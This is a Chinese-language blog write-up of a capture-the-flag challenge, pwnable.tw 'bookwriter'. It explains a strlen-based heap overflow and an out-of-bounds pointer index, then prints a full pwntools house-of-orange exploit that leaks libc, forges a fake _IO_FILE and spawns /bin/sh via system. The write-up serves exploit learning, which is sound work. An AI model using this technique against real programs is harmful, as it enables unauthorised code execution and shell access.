Loading... 这是一道 house of orange,总体比较明显,比较模板化,但是有一处溢出点藏得比较深。 ### 漏洞点 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/4238122124.png "></div> 这里对 size_arr 进行了更新,使用的是 `strlen`,那么只要我们把输入的字符串和下一个 chunk 的 size 接起来,就可以扩大 size,这样就可以在下一次 edit 时修改下一个 chunk 的 size。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/3839794159.png "></div> 同时这里有一个比较隐蔽的数组越界 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2919875741.png "></div> 存放堆块指针的数组的只能存 8 个指针,紧接着的就是下面的 size 数组,而 add 的时候 i 扫到了 ptr_arr[8],也就是第零个堆块的 size,那么如果我们申请的堆块的指针被存到了 ptr_arr[8],那第零个堆块的可写长度就会变得非常长,可以很容易地实现大量的堆溢出。 从这里来看好像 edit 中的溢出就变得非常的小儿科了,这也确实,但是通过在 edit 时输入 `\x00`,就可以实现对 ptr_arr[8](实际上是第零个堆块的 size)的置零,在攻击的最后一步可以让我们再获得一次申请的机会。 上面分析的是越界,至于 leak,通过 infor 函数可以 leak 出堆地址(虽然这个好像是多余的,通过申请较大空间本身就可以获得堆地址),libc_base 有 view 函数可以 leak,比较简单不再赘述。 ### 利用方法 就是典型的 house of orange 利用,可以参考[我的这篇 WP](https://www.cjovi.icu/WP/1167.html)。既然要学这个利用方法,学原题肯定会更好一些,我这里就偷个懒不写啦。 ### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * def add(size,payload): sh.sendlineafter("choice :",'1') sh.sendlineafter("page :",str(size)) sh.sendafter("Content :",payload) def view(index): sh.sendlineafter("choice :",'2') sh.sendlineafter("page :",str(index)) def edit(index,payload): sh.sendlineafter("choice :",'3') sh.sendlineafter("page :",str(index)) sh.sendafter("Content:",payload) def infor(endOfAuthorName): sh.sendlineafter("choice :",'4') sh.recvuntil(endOfAuthorName) heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0x10 sh.sendlineafter("no:0) ",'0') return heap_base libc = ELF("./libc.so.6") sh = remote("chall.pwnable.tw",10304) #libc = ELF("/glibc/2.23/amd64/lib/libc.so.6") #sh = process("./bookwriter") sh.sendafter("Author :",'a' * 0x3F + '-') add(0,'\n')#index:0 add(0x100 - 0x8,'\n')#index:1 edit(1,'a' * (0x100 - 0x8)) edit(1,'a' * (0x100 - 0x8) + '\xe1\x0e\x00') heap_base = infor('-') log.success("heap_base:" + hex(heap_base)) add(0x58,'a' * 8)#index:2 view(2) sh.recvuntil('a' * 8) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 1640 - libc.symbols["__malloc_hook"] - 0x10 log.success("libc_base:" + hex(libc_base)) _IO_list_all_addr = libc.symbols["_IO_list_all"] + libc_base system_addr = libc.symbols["system"] + libc_base add(0x18,'\n')#index:3 add(0x18,'\n')#index:4 add(0x18,'\n')#index:5 add(0x18,'\n')#index:6 add(0x18,'\n')#index:7 add(0x18,'\n')#index:8 payload = 'a' * 0x230 fake_chunk = '/bin/sh\x00' + p64(0x61) fake_chunk += p64(0) + p64(_IO_list_all_addr - 0x10)#*bk = &main_arena + 88 fake_chunk += p64(0) + p64(1) fake_chunk = fake_chunk.ljust(0xC0,'\x00') fake_chunk += p32(0) fake_chunk += p32(0) + p64(0) * 2 payload += fake_chunk payload += p64(heap_base + 0x240 + 0xC0 + 0x18 + 0x8) payload += p64(0) * 3 payload += p64(system_addr) edit(0,payload) edit(0,'\x00') sh.sendlineafter("choice :",'1') sh.sendlineafter("page :",str(8)) sh.interactive() ``` 通过一些调试我发现好像是无法通过直接的 big request 来实现使 top_chunk 进入 unsorted bin 的,必须伪造 size 才可以,所以这里虽然没有限制申请的空间大小,但是也需要伪造 size。 最后修改:2021 年 03 月 24 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧